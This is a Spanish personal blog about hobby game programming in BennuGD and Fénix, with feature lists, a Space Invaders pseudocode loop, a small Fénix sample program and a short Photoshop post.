  • Compilador para Bennu/Fénix.
  • Un tutorial para Bennu/Fénix que es una maravilla.
  • Herramientas para 2D.
  • Herramientas para 3D.
  • Editor de FNT.
  • Editor de FPG.
  • Editor de gráficos.
  • Generador de instaladores.
  • Notepad++ preparado especialmente para el desarrollo en Fénix (colorea código, tiene accesos directos al compilador y al intérprete, etc...).
Vamos, una verdadera suite.

A todo esto, os estaréis preguntando qué es Bennu/Fénix. Está claro que algo tiene que ver con Fénix, pero veamos que dice la señora Wikipedia:
BennuGD o simplemente Bennu es un lenguaje de programación, orientado al desarrollo de videojuegos en 2 y 3 dimensiones. Es la continuación de Fénix y se distribuye bajo licencia GNU General Public License. Es ideal para aquellos que quieren iniciarse en el mundo de la programación de videojuegos por su sencillez a la hora de programar, pero también es una herramienta muy completa, que gracias a la posibilidad de importar bibliotecas de enlace dinámico programadas en C prácticamente no tiene límites. BennuGD presenta una gran cantidad de bugs corregidos respecto a Fénix además de una serie de importantes innovaciones. A pesar de esto, se mantiene la compatibilidad entre ambos lenguajes.
Mmm... parece interesante. Sigamos leyendo:

Características

  • Lenguaje interpretado, mezcla de C y Pascal, muy sencillo y potente.
  • Completamente modular.
  • Multiplataforma:
    • Windows 9x/ME/2000/XP (x86/x64)/Vista (x86/x64)/7 (x86/x64)
    • Linux (x86/x64/ARM/PPC/...)
    • FreeBSD[1]
    • Mac OS X[2]
    • Consolas: Wiz[3] , XBox, Wii[4] , GP2X

Los programas compilados pueden ser intercambiados entre cualquiera de esas plataformas sin necesidad de recompilación.

  • Procesos (programación multihilo).
  • Motor de render 2D por software.
  • Altamente Portable.
  • Expresiones regulares.
  • Modos gráficos 8, 16 y 32 bits, entre otras cosas permite rotación de sprites, escalado, alpha blending, blendops, blit aditivo y sustractivo, etc.
  • Reproducción de sonidos en formato WAV,PCM y Ogg Vorbis.
  • Soporte de librerías DLL en las plataformas que así lo permiten.
Para leer más dirijíos a la Wikipedia.

Bueno, pues como bien ha dicho nuestra amiga Wikipedia, es un lenguaje sencillo y fácil. Para poner imágenes no hay que dibujarlas píxel a píxel. Sólamente tienes que asignarle una serie de propiedades y decirle.... ¡¡¡ FRAME; !!!

Para que podáis ver un poco lo que he ido desarrollando tanto en Fénix como en Bennu, os dejo un enlace a mi web de descargas de proyectos:

http://pensarescompartir.com/lahsoft/lahsoftcorp/

viernes, 30 de julio de 2010

El "Space Invaders" en 12 líneas.

¿Alguna vez, jugando a un videojuego, te has planteado cómo estará programado? A mi me pasa constantemente. Cuando estoy jugando a un juego, suelo soltar cosas como... Buah, esto seguro que es un do while; esto otro.... bah, seguro que es una clase con tal y tal propiedades.

Pos la cosa es que un día dije: ¿si tuviese que programar un "Space Invaders" cómo haría el "main()"?
Y este fue el resultado:

Principio.
Dibujar tu nave.
Dibujar los enemigos.
Dibujar los disparos.
Comprobar si hay colisiones.
Si un disparo toca un enemigo, matarlo.
Si un del enemigo te toca, matarte.
Comprobar si hay algún movimiento de joystick.
Calcular la nueva posición, acorde al movimiento del joystick.
Crear un nuevo disparo si has apretado el botón de disparar.
Calcular los movimientos de los enemigos.
Ir al Principio.


Probando con "Proyecto Fénix"

Estoy empezando a practicar con el lenguaje Fenix. A ver si preparo algo decente para la Escena de la Gipuzkoa y Euskal que viene. xD

De momento tengo esto:
http://pensarescompartir.com/lahsoft/lahsoftcorp/?direc=fenix/&id=2010-08-02_test1_y_test2.rar

Pero... ¿qué es Fenix?
Fenix, o el proyecto Fenix, es el nombre de un proyecto multiplataforma de software libre para crear un compilador alternativo al lenguaje DIV parte fundamental de la suite para el desarrollo de videojuegos Div Games Studio. Sin embargo, con el paso del tiempo se han ido añadiendo nuevas características que entre otras cosas, ha derivado en una versión hasta cierto punto incompatible con el lenguaje DIV original y en un nuevo proyecto más ambicioso.

Características
  • Lenguaje interpretado, mezcla de C y Pascal: muy sencillo y potente.
  • Multiplataforma extrema: El intérprete funciona en todas las versiones de 32 bits de Windows, GNU/Linux, Mac OS X, BeOS, BSD, GP32, Dreamcast, PSP, GP2X y, en general, en casi cualquier plataforma que soporte SDL y GCC. Los programas compilados pueden ser intercambiados entre cualquiera de esas plataformas sin necesidad de recompilación.
  • Procesos (programación multihilo).
  • Motor de render 2D por software.
  • Modos gráficos 8 y 16 bits, entre otras cosas permite rotación de sprites, escalado, alpha blending, blendops, blit aditivo y sustractivo, etc.
  • Soporte (incompleto) para Modo 7.
  • Reproducción de sonidos en formato WAV, PCM y Ogg Vorbis.
  • Reproducción de módulos de música en formato IT, MOD y XM.
  • Soporte de librerías DLL en las plataformas que así lo permiten.

Ejemplo de código:
Program Prueba_serpiente;
Private
int cordX, cordY, cordZ;
int punt, tecla;
int ciclo;
End
Begin
Set_mode(640,480,MODE_16BITS,MODE_MODAL + MODE_FRAMELESS);
punt=1;
cordX=0;
cordY=0;

ciclo=0;
tecla=0;
delete_text(0);
write(0,cordX,cordY,1,"*");
frame;

loop
if(key(_W)) //Arriba
delete_text(0);
write(0,cordX,cordY,1,"*");
cordY=cordY-4;
end

if(key(_S)) //Abajo
delete_text(0);
write(0,cordX,cordY,1,"*");
cordY=cordY+4;
end

if(key(_A)) //Izquierda
delete_text(0);
write(0,cordX,cordY,1,"*");
cordX=cordX-4;
end

if(key(_D)) //Derecha
delete_text(0);
write(0,cordX,cordY,1,"*");
cordX=cordX+4;
end
if (key(_esc)) //Salir
break;
end

write(0,484,10,1,"CordX");
write(0,484,20,1,"CordY");
write(0,520,10,1,cordX );
write(0,520,20,1,cordY);
write(0,484,452,1,"Pulsa ESC para salir");
frame;
end
end

martes, 15 de junio de 2010

El Potochó y yo

Bueno, esta entrada es más bien una forma de fardar los pocos conocimientos que tengo del Photoshop (llamado por mí: Potochó).

Aquí va una imagen:


Otra:

A medida que los vaya encontrando por mi ordenador los iré subiendo.